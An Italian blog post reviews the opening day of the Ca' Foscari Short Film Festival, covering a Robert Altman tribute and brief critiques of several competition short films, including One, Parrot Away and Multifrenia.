CFShort Film Festival: Altman, e i primi giovani registi ironici, surreali e paradossali

Si è concluda ieri la prima giornata del Ca’ Foscari Short Film Festival.

Il programma della prima giornata ha già palesato l’elevata qualità dell’esperienza annuale che si rinnova con tantissimi appuntamenti, ospiti, approfondimenti e opportunità di incontrare i molti ospiti.

A cominciare dalle esperienze che hanno preceduto l’inaugurazione ufficiale: un meritato tributo alla carriera di Robert Altman, autore complesso e affscinante, vincitore dei principali premi e riconoscimenti di livello internazionale che esordì, guarda caso, proprio con un celeberrimo cortometraggio. Il Ca’ Foscari Short ci regala questa magia e, grazie a una collaborazione importante con l’Altman Estate e il Wisconsin Theatre&Film Research, ci propone proprio il suo primo short: The perfect crime (qui sotto un bel documentario!)

 

Alle 8.00, invece, la vera e propria créme della giornata: il primo slot di corti selezionati per il Concorso Internazionale. Ospite in apertura, la spumeggiante e bellissima regista Vasha Narace, autrice dell’opera One in un gioiello del collage, dell’onirico e del surreale, dagli echi ruvidi tarantiniani, allo psicologismo di Haneke, dalle tinte del classico bianco e nero, alle influenze del b-movie: 15 minuti di vero fascino sofisticato.

Segue Parrot Away, esilarante animato firmato Mads Weidner, danese di origine, che ci racconta la felicità di trovare chi è in grado di accettarci per ciò che siamo, attraverso una delicata e ironica una favola corsara. Il protagonista, un piccolo, bruttino, ma buffo parrot, fa carte false per salire sulla spalla del pirata più affascinante e di successo. Salvo disattendere le pretese maniacali e perfezioniste di quest’ultimo che tenterà in tutti i modi di incidere sull’estetica del malcapitato. Tra tiraggi di collo e tecniche di belletto, finalmente troverà la liberazione inghiottito da prima da una balena che lo porterà, finalmente, fra le braccia di un vero amico.

Ancora Nabilah, sullo sfondo della guerra del Medio-Oriente, il regista si muove fra alleanze e inimicizie, giustizia e ingiustizia, bene e male. Il soldato tedesco restituisce una fanciulla prigioniera alla comunità, con un gesto che ritiene salvifico. Contravvenendo alle regole dell’intransigenza militare, condurrà la ragazza in verità al capezzale: la attendono le donne con l’accusa di adulerio, pronte per la lapidazione.

Multifrenia, corto Polacco, racconta un altro tipo di dramma, vissuto fra le mura domestiche. Quando le richieste d’aiuto rimangono inevase e inascoltate non sempre presagiscono una ribellione. Spesso sono violenze che passano sotto silenzio e non trovano voce. Così la piccola protagonista che chiede un lucchetto come regalo di compleanno  viene scambiata dai genitori come ragazzina esuberante. Ma una videocamera posta nella stanza rivelerà un terzo attore…

Infine, Laila Leelar Katha, cortometraggio indiano si paradossi del matrimonio, fra rispetti, riscatti e modernità.

Colpisce la sensibilità e la qualità dei corti presenti in concorso, sotto ogni punto di vista: completi drammaticamente e tecnicamente parlando. Colpiscono i temi che discutono con una pofondità che avanza in punta di piedi temi attualissimi e urgenti: l’accettazione, l’alleanza, il riconoscimento e il rispetto.

Le FEMS vi lasciano con il programma completo e vi raccomandiamo di non perdere nessuna delle prossime giornate!

Mandateci i vostri commenti, inviandoci un messaggio qui sul blog o sulla nostra pagina fb o Twitter con l’hashtag #FEMShort #FEMS  #CFShortFilmFestival 

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